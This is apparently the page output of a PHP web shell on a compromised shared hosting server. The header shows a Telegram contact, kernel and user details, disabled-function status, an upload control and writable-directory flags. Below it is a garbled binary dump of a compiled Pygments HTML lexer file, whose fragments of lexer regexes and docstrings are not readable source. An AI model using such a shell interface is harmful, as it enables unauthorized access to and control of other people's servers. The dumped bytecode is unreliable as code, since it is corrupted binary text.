https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/html.cpython-310.pyc
o

���a]M�@sdZddlZddlmZmZmZmZmZmZddl	m
Z
mZmZm
Z
mZmZmZddlmZmZddlmZddlmZddlmZmZmZdd	lmZgd
�ZGdd�de�ZGd
d�de�Z Gdd�de�Z!Gdd�de!�Z"Gdd�de�Z#Gdd�de�Z$Gdd�de�Z%e%Z&dS)z�
    pygments.lexers.html
    ~~~~~~~~~~~~~~~~~~~~

    Lexers for HTML, XML and related markup.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�ExtendedRegexLexer�include�bygroups�default�using)�Text�Comment�Operator�Keyword�Name�String�Punctuation)�looks_like_xml�html_doctype_matches)�JavascriptLexer)�
ScalaLexer)�CssLexer�_indentation�
_starts_block)�	RubyLexer)�	HtmlLexer�DtdLexer�XmlLexer�	XsltLexer�	HamlLexer�
ScamlLexer�PugLexerc@s�eZdZdZdZdgZgd�ZddgZej	ej
BZdefde
jfd	ejfd
ejfdejfdejfd
eeee
je�dfdeeee
je�dfdeeee
j�dfdeeeeee
jee�fg
defdee
jee�dfde
jfdeeee�dfgdeeeeee
jee�dfdee�fdee�dfdee�dfgdeeeeee
jee�dfdee�fdee�dfdee�dfgd edfd!edfd"edfgd#�Zd$d%�Zd&S)'rzo
    For HTML 4 and XHTML 1 markup. Nested JavaScript and CSS is highlighted
    by the appropriate lexer.
    �HTML�html)z*.htmlz*.htmz*.xhtml�*.xsltz	text/htmlzapplication/xhtml+xml�[^<&]+�&\S*?;�\<\!\[CDATA\[.*?\]\]\>�<!--(.|\n)*?-->�	<\?.*?\?>�<![^>]*>z(<)(\s*)(script)(\s*))�script-content�tagz(<)(\s*)(style)(\s*))�
style-contentr(z(<)(\s*)([\w:.-]+)r(z"(<)(\s*)(/)(\s*)([\w:.-]+)(\s*)(>)�\s+z([\w:-]+\s*)(=)(\s*)�attr�[\w:-]+z(/?)(\s*)(>)�#popz (<)(\s*)(/)(\s*)(script)(\s*)(>)z.+?(?=<\s*/\s*script\s*>)z.+?\nz.+z(<)(\s*)(/)(\s*)(style)(\s*)(>)z.+?(?=<\s*/\s*style\s*>)�".*?"�'.*?'�[^\s>]+)�rootr(r'r)r+cC�t|�rdSdS)Ng�?)r��text�r5�6/usr/lib/python3/dist-packages/pygments/lexers/html.py�analyse_textd��zHtmlLexer.analyse_textN)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypes�re�
IGNORECASE�DOTALL�flagsrr�Entityr	�Preproc�	Multilinerr�Tag�	Attributer
rrrr
�tokensr7r5r5r5r6rs~����������
�
��
�
��<rc@s�eZdZdZejejBZdZdgZ	dgZ
dgZed�de
eeej�dfd	e
eeej�d
fde
eeej�dfd
e
eeej�dfde
eejee�fde
eeej�fdejfdefg	defdejfdedfdefdejfdejfgdefdedfdefged�dejfdejfd edfged�d!ejfd"ejfd#ejfdejfd edfged�d$ejfdejfd edfged�d%ejfdejfd edfgd&�Zd'd(�Zd)S)*rzR
    A lexer for DTDs (Document Type Definitions).

    .. versionadded:: 1.5
    �DTD�dtdz*.dtdzapplication/xml-dtd�commonz(<!ELEMENT)(\s+)(\S+)�elementz(<!ATTLIST)(\s+)(\S+)�attlistz(<!ENTITY)(\s+)(\S+)�entityz(<!NOTATION)(\s+)(\S+)�notationz(<!\[)([^\[\s]+)(\s*)(\[)z(<!DOCTYPE)(\s+)([^>\s]+)z
PUBLIC|SYSTEMz[\[\]>]r*z(%|&)[^;]*;z<!--�commentz	[(|)*,?+]z"[^"]*"z
\'[^\']*\'z[^-]+z-->r-�-zEMPTY|ANY|#PCDATAz[^>\s|()?+*,]+�>z?CDATA|IDREFS|IDREF|ID|NMTOKENS|NMTOKEN|ENTITIES|ENTITY|NOTATIONz#REQUIRED|#IMPLIED|#FIXEDzxml:space|xml:langzSYSTEM|PUBLIC|NDATAz
SYSTEM|PUBLIC)r1rMrRrNrOrPrQcCs,t|�sd|vsd|vsd|vrdSdSdS)Nz	<!ELEMENTz	<!ATTLISTz<!ENTITY皙�����?�rr3r5r5r6r7�s
�zDtdLexer.analyse_textN)r9r:r;r<rA�	MULTILINErCrDr=r>r?r@rrrrrrHrE�Constantr	r
r
�Double�Single�ReservedrIrJr7r5r5r5r6ris���������
�������Drc	@s�eZdZdZejejBejBZdZ	dgZ
gd�Zgd�Zde
fdejfdejfd	ejfd
ejfdejfdejd
fdejfgde
fdejdfdejdfgde
fdedfdedfdedfgd�Zdd�ZdS)rz=
    Generic lexer for XML (eXtensible Markup Language).
    �XML�xml)z*.xml�*.xslz*.rssr z*.xsdz*.wsdlz*.wsf)ztext/xmlzapplication/xmlz
image/svg+xmlzapplication/rss+xmlzapplication/atom+xmlr!r"r#r$r%r&z<\s*[\w:.-]+r(z<\s*/\s*[\w:.-]+\s*>r*z[\w.:-]+\s*=r+z/?\s*>r-r.r/r0)r1r(r+cCr2)Ng�������?rVr3r5r5r6r7�r8zXmlLexer.analyse_textN)r9r:r;r<rArWrC�UNICODErDr=r>r?r@rrrEr	rFrGrHrIr
rJr7r5r5r5r6r�s6
�

���rc@sBeZdZdZdZdgZgd�ZddgZhd�Zdd	�Z	d
d�Z
dS)
rz7
    A lexer for XSLT.

    .. versionadded:: 0.10
    �XSLT�xslt)r^r z*.xplzapplication/xsl+xmlzapplication/xslt+xml>#�copy-of�for-each�value-of�
with-param�strip-space�
apply-imports�
attribute-set�
call-template�decimal-format�preserve-space�apply-templates�namespace-alias�processing-instruction�if�key�copy�sortr4�when�param�choose�import�number�outputrRrNr�message�fallback�template�variable�	attribute�	otherwise�	transform�
stylesheetccsb�t�||�D]'\}}}t�d|�}|tjur(|r(|�d�|jvr(|t|fVq|||fVqdS)Nz</?xsl:([^>]*)/?>?�)	r�get_tokens_unprocessedrA�matchrrH�group�EXTRA_KEYWORDSr)�selfr4�index�token�value�mr5r5r6r�s��z XsltLexer.get_tokens_unprocessedcCst|�r
d|vrdSdSdS)Nz<xslrUrVr3r5r5r6r7s�zXsltLexer.analyse_textN)r9r:r;r<r=r>r?r@r�r�r7r5r5r5r6r�s	rc@sheZdZdZdZdgZdgZdgZej	Z
dZdedZd	e
fd
efgdejdfd
ejdfgdedfdedeeee��dfed�ged�dejdfdedejdfdededeeeje�dfdedeed�dfdedeejd�dfdedeeee��dfdedeejd �dfed!�g	ed�d"ed#ee�fd$ed%ee�fd&e
d'fd(ed)fd*efed!�gd+e
fd,ed-eej ee�ej �fd.e
dfgd/e
fd0ej!d1fd2ej!fd3e
dfgd4e
fd5ej"dfd6ej"j#dfd7ej"j$dfd8edfd9edfged:efd.e
dfged:ejfd.e
dfgd+ejfd,ed-eej ee�ej �fd.e
dfgd;�Z%d<S)=rz5
    For Haml markup.

    .. versionadded:: 1.3
    �Haml�hamlz*.hamlztext/x-hamlz(?: \|\n(?=.* \|)|.)z
(?:,\s*\n|�)�[ \t]*\n�[ \t]*�	\.[\w:-]+r(�	\#[\w:-]+�[&!]?==�plain�([&!]?[=~])(�*\n)r1�css�%[\w:-]+�!!!�*\nr-�(/)(\[�*?\])(�/�html-comment-block�-#�haml-comment-block�(-)(�:�filter-block�
eval-or-plain�\{(,\n|�)*?\}�\[�*?\]�\(�html-attributes�	/[ \t]*\n�#pop:2�[<>]{1,2}(?=[ \t=])�([^#\n]|#[^{\n]|(\\\\)*\\#\{)+�(#\{)(�*?)(\})�\nr*�[\w:-]+[ \t]*=�html-attribute-valuer,�\)�[ \t]+�\w+�@\w+�\$\w+�'(\\\\|\\[^\\]|[^'\\\n])*'�"(\\\\|\\[^\\]|[^"\\\n])*"�+)r1r�r��contentr(r�r�r�r�r�r�N)&r9r:r;r<r=r>r?r@rArBrD�_dot�
_comma_dotrrr�Class�FunctionrrrrrrrH�	Namespacer	�SpecialrrF�	Decoratorr
�InterpolrI�Variable�Instance�GlobalrJr5r5r5r6rs��

�
��	
����
����
��
�
�

��
��
�rc@sxeZdZdZdZdgZdgZdgZej	Z
dZdefde
fgd	ejd
fdejd
fgded
fdedeeee��dfed
�ged�dejd
fdedejdfdededeeeje�dfdedeed�dfdedeejd�dfdedeeeee��dfdedeeee��dfdedeejd�dfed �g
ed�d!ed"ee�fd#ed$ee�fd%ed&fd'ed(fd)efed �gd*efd+ed,eej ee�ej �fd-edfgd.efd/ej!d0fd1ej!fd2edfgd3efd4ej"dfd5ej"j#dfd6ej"j$dfd7edfd8edfged9efd-edfged9ejfd-edfgd*ejfd+ed,eej ee�ej �fd-edfgd:�Z%d;S)<rzt
    For `Scaml markup <http://scalate.fusesource.org/>`_.  Scaml is Haml for Scala.

    .. versionadded:: 1.4
    �Scaml�scamlz*.scamlztext/x-scaml�.r�r�r�r(r�r�r�r�r�r1r�r�r�r�r-r�r�r�r�r��scaml-comment-block�(-@\s*)(import)?(r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r*r�r�r,r�r�r�r�r�r�r�r��r1r�r�r�r(r�r�r�r�r�r�N)&r9r:r;r<r=r>r?r@rArBrDr�rrrr�r�rrrrrrrHr�r	r�rrFrr�r
r�rIr�r�r�rJr5r5r5r6r�s��

�
��	
����
�
����
��
�
�

��
��
�rc@s�eZdZdZdZddgZddgZddgZej	Z
d	Zd
efde
fgdejd
fdejd
fgdedfdedeeee��dfed�ged�dedejdfdededeeeje�dfdedeed�dfdedeejd�dfdedeeeee��dfdedeeee��dfd edeejd!�dfd"ejd
fd#ed$fg
ed�d%ed&ee�fd'ed(ee�fd)ed*fd+ed,fd-efed$�gd.efd/ed0eej ee�ej �fd1edfgd2efd3ej!d4fd"ej!fd5edfgd6efd7ej"dfd8ej"j#dfd9ej"j$dfd:edfd;edfged<efd1edfged<ejfd1edfgd.ejfd/ed0eej ee�ej �fd1edfgd=�Z%d>S)?rz�
    For Pug markup.
    Pug is a variant of Scaml, see:
    http://scalate.fusesource.org/documentation/scaml-reference.html

    .. versionadded:: 1.4
    �Pug�pug�jadez*.pugz*.jadez
text/x-pugztext/x-jader�r�r�r�r(r�r�r�r�r�r1r�r�r�r-r�r�r�r�r�r�r�r�r�r�r,z\|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r*r�r�r�r�r�r�r�r�r�r�r�N)&r9r:r;r<r=r>r?r@rArBrDr�rrrr�r�rrrrrrr�r	r�rrFrr�rHr
r�rIr�r�r�rJr5r5r5r6r�s��

�
������
�
��
��
��
�
�

��
��
�r)'r<rA�pygments.lexerrrrrrr�pygments.tokenrr	r
rrr
r�
pygments.utilrr�pygments.lexers.javascriptr�pygments.lexers.jvmr�pygments.lexers.cssrrr�pygments.lexers.rubyr�__all__rrrrrrr�	JadeLexerr5r5r5r6�<module>s$
 $MX+%opk

https://t.me/RX1948 - 2025